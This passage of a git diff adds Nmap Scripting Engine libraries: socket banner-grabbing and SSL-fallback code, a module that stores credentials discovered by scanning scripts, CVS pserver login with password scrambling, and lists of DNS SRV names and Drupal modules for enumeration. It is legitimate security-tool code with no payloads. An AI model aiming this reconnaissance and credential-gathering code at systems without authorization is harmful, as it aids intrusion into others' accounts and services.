+-- banner grabbing and data exchange.
+--
+-- The functions in this module return values appropriate for use with
+-- exception handling via <code>nmap.new_try</code>.
+--
+-- These functions may be passed a table of options, but it's not required. The
+-- keys for the options table are:
+-- * <code>bytes</code> - minimum number of bytes to read.
+-- * <code>lines</code> - minimum number of lines to read.
+-- * <code>proto</code> - string, protocol to use. Default <code>"tcp"</code>
+-- * <code>timeout</code> - override timeout in milliseconds. This overrides all other timeout defaults, but can be overridden by specific connect and request timeouts (below)
+-- * <code>connect_timeout</code> - socket timeout for connection. Default: same as <code>stdnse.get_timeout</code>
+-- * <code>request_timeout</code> - additional socket timeout for requests. This is added to the connect_timeout to get a total time for a request to receive a response. Default: 6000ms
+-- * <code>recv_before</code> - boolean, receive data before sending first payload
+-- * <code>any_af</code> - boolean, allow connecting to any address family, inet or inet6. By default, these functions will only use the same AF as nmap.address_family to resolve names.
+--
+-- If both <code>"bytes"</code> and <code>"lines"</code> are provided,
+-- <code>"lines"</code> takes precedence. If neither are given, the functions
+-- read as many bytes as possible.
+-- @author Kris Katterjohn 04/2008
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local nmap = require "nmap"
+local shortport
+local stdnse = require "stdnse"
+local oops = require "oops"
+_ENV = stdnse.module("comm", stdnse.seeall)
+
+-- This timeout value (in ms) is added to the connect timeout and represents
+-- the amount of processing time allowed for the host before it sends a packet.
+-- For justification of this value, see totalwaitms in nmap-service-probes
+local REQUEST_TIMEOUT = 6000
+
+-- Function used to get a connect and request timeout based on specified options
+local function get_timeouts(host, opts)
+ local connect_timeout, request_timeout
+ -- connect_timeout based on options or stdnse.get_timeout()
+ if opts and opts.connect_timeout then
+ connect_timeout = opts.connect_timeout
+ elseif opts and opts.timeout then
+ connect_timeout = opts.timeout
+ else
+ connect_timeout = stdnse.get_timeout(host)
+ end
+
+ -- request_timeout based on options or REQUEST_TIMEOUT + connect_timeout
+ if opts and opts.request_timeout then
+ request_timeout = opts.request_timeout
+ elseif opts and opts.timeout then
+ request_timeout = opts.timeout
+ else
+ request_timeout = REQUEST_TIMEOUT
+ end
+ request_timeout = request_timeout + connect_timeout
+
+ return connect_timeout, request_timeout
+end
+
+-- Sets up the socket and connects to host:port
+local setup_connect = function(host, port, opts)
+ local sock = nmap.new_socket()
+
+ local connect_timeout, request_timeout = get_timeouts(host, opts)
+
+ sock:set_timeout(connect_timeout)
+
+ if type(host) == "string" and opts.any_af then
+ local status, addrs = nmap.resolve(host)
+ if status then
+ host = {ip = addrs[1], targetname = host}
+ end
+ end
+
+ local status, err = sock:connect(host, port, opts.proto)
+
+ if not status then
+ sock:close()
+ return oops.raise("Could not connect", status, err)
+ end
+
+ sock:set_timeout(request_timeout)
+
+ return true, sock
+end
+
+local read = function(sock, opts)
+ if opts.lines then
+ return oops.raise("receive_lines failed", sock:receive_lines(opts.lines))
+ end
+
+ if opts.bytes then
+ return oops.raise("receive_bytes failed", sock:receive_bytes(opts.bytes))
+ end
+
+ return oops.raise("receive failed", sock:receive())
+end
+
+--- This function simply connects to the specified port number on the
+-- specified host and returns any data received.
+--
+-- The first return value is true to signal success or false to signal
+-- failure. On success the second return value is the response from the
+-- remote host. On failure the second return value is an error message.
+-- @param host The host to connect to.
+-- @param port The port on the host.
+-- @param opts The options. See the module description.
+-- @return Status (true or false).
+-- @return Data (if status is true) or error string (if status is false).
+get_banner = function(host, port, opts)
+ opts = opts or {}
+ opts.recv_before = true
+ local socket, errmsg, correct, banner = oops.raise("tryssl failed", tryssl(host, port, nil, opts))
+ if socket then
+ socket:close()
+ return true, banner
+ end
+ return false, errmsg
+end
+
+--- This function connects to the specified port number on the specified
+-- host, sends data, then waits for and returns the response, if any.
+--
+-- The first return value is true to signal success or false to signal
+-- failure. On success the second return value is the response from the
+-- remote host. On failure the second return value is an error message.
+-- @param host The host to connect to.
+-- @param port The port on the host.
+-- @param data The data to send initially.
+-- @param opts The options. See the module description.
+-- @return Status (true or false).
+-- @return Data (if status is true) or error string (if status is false).
+exchange = function(host, port, data, opts)
+ opts = opts or {}
+
+ local status, sock = setup_connect(host, port, opts)
+ local ret
+
+ if not status then
+ -- sock is an error message in this case
+ return oops.raise("Failed to connect", status, sock)
+ end
+
+ status, ret = sock:send(data)
+
+ if not status then
+ sock:close()
+ return oops.raise("Failed to send", status, ret)
+ end
+
+ status, ret = read(sock, opts)
+
+ sock:close()
+
+ return oops.raise("Failed to read", status, ret)
+end
+
+--- This function uses shortport.ssl to check if the port is a likely SSL port
+-- @see shortport.ssl
+--
+-- @param port The port table to check
+-- @return bool True if port is usually ssl, otherwise false
+local function is_ssl(port)
+ shortport = shortport or require "shortport"
+ return shortport.ssl(nil, port)
+end
+
+--- This function returns best protocol order for trying to open a
+-- connection based on port and service information
+--
+-- The first value is the best option, the second is the worst
+-- @param port The port table
+-- @return Best option ("tcp" or "ssl")
+-- @return Worst option ("tcp" or "ssl")
+local function bestoption(port)
+ if type(port) == 'table' then
+ if port.protocol == "udp" then
+ stdnse.debug2("DTLS (SSL over UDP) is not supported")
+ return "udp", "udp"
+ end
+ if port.version and port.version.service_tunnel and port.version.service_tunnel == "ssl" then return "ssl","tcp" end
+ if port.version and port.version.name_confidence and port.version.name_confidence > 6 then return "tcp","ssl" end
+ local _port = {
+ number = port.number,
+ service = port.service,
+ protocol = port.protocol or "tcp",
+ state = port.state or "open",
+ version = port.version
+ }
+ if is_ssl(_port) then return "ssl","tcp" end
+ elseif type(port) == 'number' then
+ if is_ssl({number=port, protocol="tcp", state="open"}) then return "ssl","tcp" end
+ end
+ return "tcp","ssl"
+end
+
+--- This function opens a connection, sends the first data payload and
+-- check if a response is correctly received (what means that the
+-- protocol used is fine)
+--
+-- Possible options:
+-- timeout, connect_timeout, request_timeout: See module documentation
+-- recv_before: receive data before sending first payload
+-- proto: the protocol to use ("tcp", "udp", or "ssl")
+--
+-- @param host The destination host IP
+-- @param port The destination host port
+-- @param data The first data payload of the connection
+-- @param opts An options table
+-- @return sd The socket descriptor, nil if no connection is established
+-- @return response The response received for the payload, or an error message
+-- @return early_resp If opt recv_before is true, returns the value
+-- of the first receive (before sending data)
+function opencon(host, port, data, opts)
+ opts = opts or {}
+ local status, sd = setup_connect(host, port, opts)
+ if not status then
+ return oops.raise("Failed to connect", false, sd)
+ end
+
+ local response, early_resp
+ if opts.recv_before then status, early_resp = oops.raise("read failed", read(sd, opts)) end
+ if data and #data > 0 then
+ sd:send(data)
+ status, response = oops.raise("receive failed", sd:receive())
+ else
+ response = early_resp
+ end
+ if not status then
+ sd:close()
+ end
+ return status and sd, response, early_resp
+end
+
+--- Opens a SSL connection if possible, with fallback to plain text.
+--
+-- For likely-SSL services (as determined by <code>shortport.ssl</code>), SSL
+-- is tried first. For UDP services, only plain text is currently supported.
+--
+-- Either <code>data</code> or <code>opts.recv_before</code> is required:
+--
+-- * If the service sends a banner first, use <code>opts.recv_before</code>
+-- * If the service waits for client data first, provide that via <code>data</code>.
+-- * If you provide neither, then a service that waits for client data will
+-- only work with SSL and a service that sends a banner first will require you
+-- to do a read to get that banner.
+--
+-- @param host The host table
+-- @param port The port table
+-- @param data The first data payload of the connection. Optional if
+-- <code>opts.recv_before</code> is true.
+-- @param opts Options, such as timeout
+-- @return sd The socket descriptor, or nil on error
+-- @return response The response received for the payload, or an error message
+-- @return correctOpt Correct option for connection guess
+-- @return earlyResp If opt recv_before is true, returns the value
+-- of the first receive (before sending data)
+function tryssl(host, port, data, opts)
+ opts = opts or {}
+ if not data and not opts.recv_before then
+ stdnse.debug1(
+ "Using comm.tryssl without either first data payload or opts.recv_before.\n\z
+ Impossible to test the connection for the correct protocol!"
+ )
+ end
+ local opt1, opt2 = bestoption(port)
+ local best = opt1
+ if opts.proto=="udp" then
+ stdnse.debug2("DTLS (SSL over UDP) is not supported")
+ end
+ opts.proto = opt1
+ local sd, response, early_resp = oops.raise(("%s failed"):format(opt1), opencon(host, port, data, opts))
+ -- Try the second option (If udp, then both options are the same; skip it)
+ if not sd and opt1 ~= "udp" then
+ opts.proto = opt2
+ sd, response, early_resp = oops.raise(("%s failed"):format(opt2), opencon(host, port, data, opts))
+ best = opt2
+ end
+ if not sd then best = "none" end
+ return sd, response, best, early_resp
+end
+
+local unittest = require "unittest"
+if not unittest.testing() then
+ return _ENV
+end
+test_suite = unittest.TestSuite:new()
+test_suite:add_test(unittest.table_equal({bestoption(443)}, {"ssl", "tcp"}), "bestoption ssl number")
+test_suite:add_test(unittest.table_equal({bestoption(80)}, {"tcp", "ssl"}), "bestoption tcp number")
+test_suite:add_test(unittest.table_equal({bestoption({number=8443,protocol="tcp",state="open"})}, {"ssl", "tcp"}), "bestoption ssl table")
+test_suite:add_test(unittest.table_equal({bestoption({number=1234,protocol="tcp",state="open"})}, {"tcp", "ssl"}), "bestoption tcp table")
+
+return _ENV;
diff --git a/nselib/creds.lua b/nselib/creds.lua
new file mode 100644
index 0000000..7a3a555
--- /dev/null
+++ b/nselib/creds.lua
@@ -0,0 +1,541 @@
+--- The credential class stores found credentials in the Nmap registry
+--
+-- The credentials library may be used by scripts to store credentials in
+-- a common format in the nmap registry. The Credentials class serves as
+-- a primary interface for scripts to the library.
+--
+-- The State table keeps track of possible account states and a corresponding
+-- message to return for each state.
+--
+-- The following code illustrates how a script may add discovered credentials
+-- to the database:
+-- <code>
+-- local c = creds.Credentials:new( {"myapp"}, host, port )
+-- c:add("patrik", "secret", creds.State.VALID )
+-- </code>
+--
+-- The following code illustrates how a script can return a table of discovered
+-- credentials at the end of execution:
+-- <code>
+-- return tostring(creds.Credentials:new({"myapp"}, host, port))
+-- </code>
+--
+-- Another script can iterate over credential already discovered by other
+-- scripts just by referring to the same tag:
+-- <code>
+-- local c = creds.Credentials:new({"myapp", "yourapp"}, host, port)
+-- for cred in c:getCredentials(creds.State.VALID) do
+-- showContentForUser(cred.user, cred.pass)
+-- end
+-- </code>
+--
+-- The following code illustrates how a script may iterate over all discovered
+-- credentials:
+-- <code>
+-- local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+-- for cred in c:getCredentials(creds.State.VALID) do
+-- showContentForUser(cred.user, cred.pass)
+-- end
+-- </code>
+--
+-- The library also enables users to add credentials through script arguments
+-- either globally or per service. These credentials may be retrieved by script
+-- through the same functions as any other discovered credentials. Arguments
+-- passed using script arguments will be added with the PARAM state. The
+-- following code may be used by a scripts to retrieve these credentials:
+-- <code>
+-- local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+-- for cred in c:getCredentials(creds.State.PARAM) do
+-- ... do something ...
+-- end
+-- </code>
+--
+-- Any globally added credentials will be made available to all scripts,
+-- regardless of what service is being filtered through the host and port
+-- arguments when instantiating the Credentials class. Service specific
+-- arguments will only be made available to scripts with ports matching
+-- the service name. The following two examples illustrate how credentials are
+-- added globally and for the http service:
+-- <code>
+-- --script-args creds.global='admin:nimda'
+-- --script-args creds.http='webadmin:password'
+-- </code>
+--
+-- The service name at this point may be anything and the entry is created
+-- dynamically without validating whether the service exists or not.
+--
+-- The credential argument is not documented in this library using the <at>args
+-- function as the argument would incorrectly show up in all scripts making use
+-- of this library. This would show that credentials could be added to scripts
+-- that do not make use of this function. Therefore any scripts that make use
+-- of the credentials passing arguments need to have appropriate documentation
+-- added to them.
+--
+--
+-- The following code illustrates how a script may save its discovered credentials
+-- to a file:
+-- <code>
+-- local c = creds.Credentials:new( SCRIPT_NAME, host, port )
+-- c:add("patrik", "secret", creds.State.VALID )
+-- status, err = c:saveToFile("outputname","csv")
+-- </code>
+--
+-- Supported output formats are CSV, verbose and plain. In both verbose and plain
+-- records are separated by colons. The difference between the two is that verbose
+-- includes the credential state. The file extension is automatically added to
+-- the filename based on the type requested.
+--
+-- @args creds.global Credentials to be returned by Credentials.getCredentials
+-- regardless of the service.
+-- @args creds.[service] Credentials to be returned by
+-- Credentials.getCredentials for [service]. E.g.
+-- creds.http=admin:password
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- Version 0.5
+-- Created 2011/02/06 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 2011/27/06 - v0.2 - revised by Patrik Karlsson <patrik@cqure.net>
+-- * added documentation
+-- * added getCredentials function
+--
+-- Revised 2011/05/07 - v0.3 - revised by Patrik Karlsson <patrik@cqure.net>
+-- * modified getCredentials to return an iterator
+-- * added support for adding credentials as
+-- script arguments
+--
+-- Revised 2011/09/04 - v0.4 - revised by Tom Sellers
+-- * added saveToFile function for saving credential
+-- * table to file in CSV or text formats
+--
+-- Revised 2015/19/08 - v0.5 - Gioacchino Mazzurco <gmazzurco89@gmail.com>
+-- * added multitag support to share credential easier across
+-- scripts
+--
+
+local coroutine = require "coroutine"
+local io = require "io"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+_ENV = stdnse.module("creds", stdnse.seeall)
+
+
+--- Table mapping the different account states to their number
+--
+-- Also available is the <code>StateMsg</code> table, used to map these numbers
+-- to a description.
+-- @class table
+-- @name State
+-- @field LOCKED Account is locked
+-- @field VALID Valid credentials
+-- @field DISABLED Account is disabled
+-- @field CHANGEPW Valid credentials, password must be changed at next logon
+-- @field PARAM Credentials passed to script during Nmap execution
+-- @field EXPIRED Valid credentials, account expired
+-- @field TIME_RESTRICTED Valid credentials, account cannot log in at current time
+-- @field HOST_RESTRICTED Valid credentials, account cannot log in from current host
+-- @field LOCKED_VALID Valid credentials, account locked
+-- @field DISABLED_VALID Valid credentials, account disabled
+-- @field HASHED Hashed valid or invalid credentials
+State = {
+ LOCKED = 1,
+ VALID = 2,
+ DISABLED = 4,
+ CHANGEPW = 8,
+ PARAM = 16,
+ EXPIRED = 32,
+ TIME_RESTRICTED = 64,
+ HOST_RESTRICTED = 128,
+ LOCKED_VALID = 256,
+ DISABLED_VALID = 512,
+ HASHED = 1024,
+}
+
+StateMsg = {
+ [State.LOCKED] = 'Account is locked',
+ [State.VALID] = 'Valid credentials',
+ [State.DISABLED] = 'Account is disabled',
+ [State.CHANGEPW] = 'Valid credentials, password must be changed at next logon',
+ [State.PARAM] = 'Credentials passed to script during Nmap execution',
+ [State.EXPIRED] = 'Valid credentials, account expired',
+ [State.TIME_RESTRICTED] = 'Valid credentials, account cannot log in at current time',
+ [State.HOST_RESTRICTED] = 'Valid credentials, account cannot log in from current host',
+ [State.LOCKED_VALID] = 'Valid credentials, account locked',
+ [State.DISABLED_VALID] = 'Valid credentials, account disabled',
+ [State.HASHED] = 'Hashed valid or invalid credentials',
+}
+
+
+ALL_DATA = {}
+
+-- The RegStorage class
+RegStorage = {
+
+ --- Creates a new RegStorage instance
+ --
+ -- @return a new instance
+ -- @name RegStorage.new
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.filter = {}
+ return o
+ end,
+
+ --- Add credentials to storage
+ --
+ -- @param tags a table containing tags associated with the credentials
+ -- @param host host table, name or ip
+ -- @param port number containing the port of the service
+ -- @param service the name of the service
+ -- @param user the name of the user
+ -- @param pass the password of the user
+ -- @param state of the account
+ -- @name RegStorage.add
+ add = function( self, tags, host, port, service, user, pass, state )
+ local cred = {
+ tags = tags,
+ host = host,
+ port = port,
+ service = service,
+ user = user,
+ pass = pass,
+ state = state
+ }
+ nmap.registry.creds = nmap.registry.creds or {}
+ table.insert( nmap.registry.creds, cred )
+ end,
+
+ --- Sets the storage filter
+ --
+ -- @param host table containing the host
+ -- @param port table containing the port
+ -- @param state table containing the account state
+ -- @name RegStorage.setFilter
+ setFilter = function( self, host, port, state )
+ self.filter.host = host
+ self.filter.port = port
+ self.filter.state = state
+ end,
+
+ --- Returns a credential iterator matching the selected filters
+ --
+ -- @return a credential iterator
+ -- @name RegStorage.getAll
+ getAll = function( self )
+ local function get_next()
+ local host, port = self.filter.host, self.filter.port
+
+ if ( not(nmap.registry.creds) ) then return end
+
+ for _, v in pairs(nmap.registry.creds) do
+ local h = ( v.host.ip or v.host )
+ if ( not(host) and not(port) ) then
+ if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then
+ coroutine.yield(v)
+ end
+ elseif ( not(host) and ( port == v.port ) ) then
+ if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then
+ coroutine.yield(v)
+ end
+ elseif ( ( host and ( h == host or h == host.ip ) ) and not(port) ) then
+ if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then
+ coroutine.yield(v)
+ end
+ elseif ( ( host and ( h == host or h == host.ip ) ) and port.number == v.port ) then
+ if ( not(self.filter.state) or ( v.state == (self.filter.state & v.state) ) ) then
+ coroutine.yield(v)
+ end
+ end
+ end
+ end
+ return coroutine.wrap(get_next)
+ end,
+
+}
+
+Account = {
+ --- Creates a new instance of the Account class
+ --
+ -- @param username containing the user's name
+ -- @param password containing the user's password
+ -- @param state A <code>creds.State</code> account state
+ -- @return A new <code>creds.Account</code> object
+ -- @name Account.new
+ new = function(self, username, password, state)
+ local o = { username = username, password = password, state = StateMsg[state] or state }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts an account object to a printable script
+ --
+ -- @return string representation of object
+ -- @name Account.__tostring
+ __tostring = function( self )
+ return (
+ (self.username and self.username .. ":" or "") ..
+ (self.password ~= "" and self.password or "<empty>") ..
+ (self.state and " - " .. self.state or "")
+ )
+ end,
+
+ --- Less-than operation for sorting
+ --
+ -- Lexicographic comparison by user, pass, and state
+ -- @name Account.__lt
+ __lt = function (a, b)
+ if a.user and b.user and a.user >= b.user then
+ return false
+ elseif a.pass and b.pass and a.pass >= b.pass then
+ return false
+ elseif a.state and b.state and a.state >= b.state then
+ return false
+ end
+ return true
+ end,
+}
+
+
+-- Return a function suitable for use as a __pairs metamethod
+-- which will cause the table to yield its values sorted by key.
+local function sorted_pairs (sortby)
+ return function (t)
+ local order = tableaux.keys(t)
+ table.sort(order, sortby)
+ return coroutine.wrap(function()
+ for i,k in ipairs(order) do
+ coroutine.yield(k, t[k])
+ end
+ end)
+ end
+end
+
+-- The credentials class
+Credentials = {
+
+ --- Creates a new instance of the Credentials class
+ -- @param tags a table containing tags associated with the credentials
+ -- @param host table as received by the scripts action method
+ -- @param port table as received by the scripts action method
+ -- @name Credentials.new
+ new = function(self, tags, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.storage = RegStorage:new()
+ o.storage:setFilter(host, port)
+ o.host = host
+ o.port = ( port and port.number ) and port.number
+ o.service = ( port and port.service ) and port.service
+ if ( type(tags) ~= "table" ) then tags = {tags} end
+ o.tags = tags
+ return o
+ end,
+
+ --- Add a discovered credential
+ --
+ -- @param user the name of the user
+ -- @param pass the password of the user
+ -- @param state of the account
+ -- @name Credentials.add
+ add = function( self, user, pass, state )
+ local pass = ( pass and #pass > 0 ) and pass or "<empty>"
+ assert( self.host, "No host supplied" )
+ assert( self.port, "No port supplied" )
+ assert( state, "No state supplied")
+ assert( self.tags, "No tags supplied")
+
+ -- there are cases where we will only get a user or password
+ -- so as long we have one of them, we're good
+ if ( user or pass ) then
+ self.storage:add( self.tags, self.host, self.port, self.service, user, pass, state )
+ end
+ end,
+
+ --- Returns a credential iterator
+ --
+ -- @see State
+ -- @param state mask containing values from the <code>State</code> table
+ -- @return credential iterator, returning a credential each time it's
+ -- called. Unless filtered by the state mask all credentials
+ -- for the host, port match are iterated over.
+ -- The credential table has the following fields:
+ -- <code>host</code> - table as received by the action function
+ -- <code>port</code> - number containing the port number
+ -- <code>user</code> - string containing the user name
+ -- <code>pass</code> - string containing the user password
+ -- <code>state</code> - a state number
+ -- <code>service</code> - string containing the name of the service
+ -- <code>tags</code> - table containing tags associated with
+ -- the credential
+ -- @name Credentials.getCredentials
+ getCredentials = function(self, state)
+ local function next_credential()
+ if ( state ) then
+ self.storage:setFilter(self.host, { number=self.port, service = self.service }, state)
+ end
+
+ for cred in self.storage:getAll() do
+ if ( self.tags == ALL_DATA ) then
+ coroutine.yield(cred)
+ end
+ for _,stag in pairs(self.tags) do
+ for _,ctag in pairs(cred.tags) do
+ if(stag == ctag) then
+ coroutine.yield(cred)
+ end
+ end
+ end
+ end
+
+ if ( state and State.PARAM == (state & State.PARAM) ) then
+ local creds_global = stdnse.get_script_args('creds.global')
+ local creds_service
+ local creds_params
+
+ if ( self.service ) then
+ creds_service = stdnse.get_script_args('creds.' .. self.service )
+ end
+
+ if ( creds_service ) then creds_params = creds_service end
+ if ( creds_global and creds_service ) then
+ creds_params = creds_params .. ',' .. creds_global
+ elseif ( creds_global ) then
+ creds_params = creds_global
+ end
+
+ if ( not(creds_params) ) then return end
+
+ for _, cred in ipairs(stringaux.strsplit(",", creds_params)) do
+ -- if the credential contains a ':' we have a user + pass pair
+ -- if not, we only have a user with an empty password
+ local user, pass
+ if ( cred:match(":") ) then
+ user, pass = cred:match("^(.-):(.-)$")
+ else
+ user = cred:match("^(.*)$")
+ end
+ coroutine.yield( { host = self.host,
+ port = self.port,
+ user = user,
+ pass = pass,
+ state = State.PARAM,
+ service = self.service } )
+ end
+ end
+ end
+ return coroutine.wrap( next_credential )
+ end,
+
+ --- Returns a table of credentials
+ --
+ -- @return tbl table containing the discovered credentials
+ -- @name Credentials.getTable
+ getTable = function(self)
+ local result = {}
+
+ for v in self:getCredentials() do
+ local h = ( v.host.ip or v.host )
+ assert(type(h)=="string", "Could not determine a valid host")
+ local svc = ("%s/%s"):format(v.port,v.service)
+
+ result[h] = result[h] or {}
+ result[h][svc] = result[h][svc] or {}
+ table.insert( result[h][svc], Account:new(
+ v.user ~= "" and v.user or nil,
+ v.pass,
+ v.state
+ )
+ )
+ end
+
+ for _, host_tbl in pairs(result) do
+ for _, svc_tbl in pairs(host_tbl) do
+ -- sort the accounts
+ table.sort( svc_tbl )
+ end
+ -- sort the services
+ setmetatable(host_tbl, {
+ __pairs = sorted_pairs( function(a,b)
+ return tonumber(a:match("^(%d+)")) < tonumber(b:match("^(%d+)"))
+ end )
+ })
+ end
+
+ -- sort the IP addresses
+ setmetatable(result, {
+ __pairs = sorted_pairs( function(a, b)
+ return ipOps.compare_ip(a, "le", b)
+ end )
+ })
+
+ local _
+ if ( self.host and next(result) ) then
+ _, result = next(result)
+ end
+ if ( self.host and self.port and next(result) ) then
+ _, result = next(result)
+ end
+ return next(result) and result
+ end,
+
+ -- Saves credentials in the current object to file
+ -- @param filename string name of the file
+ -- @param fileformat string file format type, values = csv | verbose | plain (default)
+ -- @return status true on success, false on failure
+ -- @return err string containing the error if status is false
+ saveToFile = function(self, filename, fileformat)
+
+ if ( fileformat == 'csv' ) then
+ filename = filename .. '.csv'
+ else
+ filename = filename .. '.txt'
+ end
+
+ local f = io.open( filename, "w")
+ local output = nil
+
+ if ( not(f) ) then
+ return false, ("ERROR: Failed to open file (%s)"):format(filename)
+ end
+
+ for account in self:getCredentials() do
+ if ( fileformat == 'csv' ) then
+ output = "\"" .. account.user .. "\",\"" .. account.pass .. "\",\"" .. StateMsg[account.state] .. "\""
+ elseif ( fileformat == 'verbose') then
+ output = account.user .. ":" .. account.pass .. ":" .. StateMsg[account.state]
+ else
+ output = account.user .. ":" .. account.pass
+ end
+ if ( not(f:write( output .."\n" ) ) ) then
+ return false, ("ERROR: Failed to write file (%s)"):format(filename)
+ end
+ end
+
+ f:close()
+ return true
+ end,
+
+ --- Get credentials with optional host and port filter
+ -- If no filters are supplied all records are returned
+ --
+ -- @param host table or string containing the host to filter
+ -- @param port number containing the port to filter
+ -- @return table suitable from <code>stdnse.format_output</code>
+ -- @name Credentials.__tostring
+ __tostring = function(self)
+ local all = self:getTable()
+ if ( all ) then return tostring(all) end
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/cvs.lua b/nselib/cvs.lua
new file mode 100644
index 0000000..d6cb72b
--- /dev/null
+++ b/nselib/cvs.lua
@@ -0,0 +1,96 @@
+---
+-- A minimal CVS (Concurrent Versions System) pserver protocol implementation which currently only supports authentication.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+-- Version 0.1
+-- Created 07/13/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("cvs", stdnse.seeall)
+
+
+Helper = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self, socket)
+ self.socket = socket or nmap.new_socket()
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ login = function(self, repo, user, pass )
+ assert(repo, "No repository was specified")
+ assert(user, "No user was specified")
+ assert(pass, "No pass was specified")
+
+ -- Add a leading slash if it's missing
+ if ( repo:sub(1,1) ~= "/" ) then repo = "/" .. repo end
+
+ local auth_tab = {
+ "BEGIN AUTH REQUEST",
+ repo,
+ user,
+ Util.pwscramble(pass),
+ "END AUTH REQUEST\n",
+ }
+
+ local data = table.concat(auth_tab, "\n")
+ local status = self.socket:send(data)
+ if ( not(status) ) then return false, "Failed to send login request" end
+
+ local status, response = self.socket:receive()
+ if ( not(status) ) then return false, "Failed to read login response" end
+
+ if ( response == "I LOVE YOU\n" ) then return true end
+ return false, response
+ end,
+
+ close = function(self)
+ return self.socket:close()
+ end
+
+}
+
+Util = {
+
+ --- Scrambles a password
+ --
+ -- @param password string containing the password to scramble
+ pwscramble = function(password)
+ local shifts = {
+ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
+ 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
+ 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
+ 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
+ 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
+ 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
+ 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
+ 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
+ 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
+ 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
+ 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
+ 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
+ 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
+ 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
+ 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
+ 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
+
+ return 'A' .. string.gsub(password, ".",
+ function(c) return string.char(shifts[c:byte()+1]) end)
+ end
+
+}
+
+return _ENV;
diff --git a/nselib/data/dns-srv-names b/nselib/data/dns-srv-names
new file mode 100644
index 0000000..c605430
--- /dev/null
+++ b/nselib/data/dns-srv-names
@@ -0,0 +1,74 @@
+_afpovertcp._tcp
+_aix._tcp
+_autodiscover._tcp
+_caldav._tcp
+_certificates._tcp
+_client._smtp
+_cmp._tcp
+_crls._tcp
+_crl._tcp
+_finger._tcp
+_ftp._tcp
+_gc._tcp
+_h323be._tcp
+_h323be._udp
+_h323cs._tcp
+_h323cs._udp
+_h323ls._tcp
+_h323ls._udp
+_h323rs._tcp
+_hkps._tcp
+_hkp._tcp
+_http._tcp
+_iax.udp
+_imaps._tcp
+_imap._tcp
+_jabber-client._tcp
+_jabber-client._udp
+_jabber._tcp
+_jabber._udp
+_kerberos-adm._tcp
+_kerberos._tcp
+_kerberos._tcp.dc._msdcs
+_kerberos._udp
+_kpasswd._tcp
+_kpasswd._udp
+_ldap._tcp
+_ldap._tcp.dc._msdcs
+_ldap._tcp.gc._msdcs
+_ldap._tcp.pdc._msdcs
+_msdcs
+_mysqlsrv._tcp
+_nntp._tcp
+_ntp._udp
+_ocsp._tcp
+_pgpkeys._tcp
+_pgprevokations._tcp
+_PKIXREP._tcp
+_pop3s._tcp
+_pop3._tcp
+_sipfederationtls._tcp
+_sipinternal._tcp
+_sipinternaltls._tcp
+_sips._tcp
+_sip._tcp
+_sip._tls
+_sip._udp
+_smtp._tcp
+_ssh._tcp
+_stun._tcp
+_stun._udp
+_svcp._tcp
+_tcp
+_telnet._tcp
+_test._tcp
+_tls
+_udp
+_vlmcs._tcp
+_vlmcs._udp
+_whois._tcp
+_wpad._tcp
+_xmpp-client._tcp
+_xmpp-client._udp
+_xmpp-server._tcp
+_xmpp-server._udp
diff --git a/nselib/data/drupal-modules.lst b/nselib/data/drupal-modules.lst
new file mode 100644
index 0000000..0bd11dc
--- /dev/null
+++ b/nselib/data/drupal-modules.lst
@@ -0,0 +1,17447 @@
+views
+token
+ctools
+pathauto
+libraries
+entity
+admin_menu
+date
+imce
+jquery_update
+ckeditor
+wysiwyg
+link
+webform
+backup_migrate
+rules
+module_filter
+google_analytics
+views_slideshow
+features
+xmlsitemap
+metatag
+captcha
+colorbox
+media
+entityreference
+panels
+field_group
+devel
+views_bulk_operations
+menu_block
+transliteration
+l10n_update
+imce_wysiwyg
+globalredirect
+variable
+i18n
+context
+imageapi
+advanced_help
+filefield
+email
+page_title
+lightbox2
+ds
+strongarm
+superfish
+imagefield
+calendar
+imagecache
+references
+field_collection
+block_class
+job_scheduler
+menu_attributes
+redirect
+addressfield
+mailsystem
+nice_menus
+diff
+flexslider
+taxonomy_menu
+file_entity
+feeds
+media_youtube
+node_clone
+admin_views
+smtp
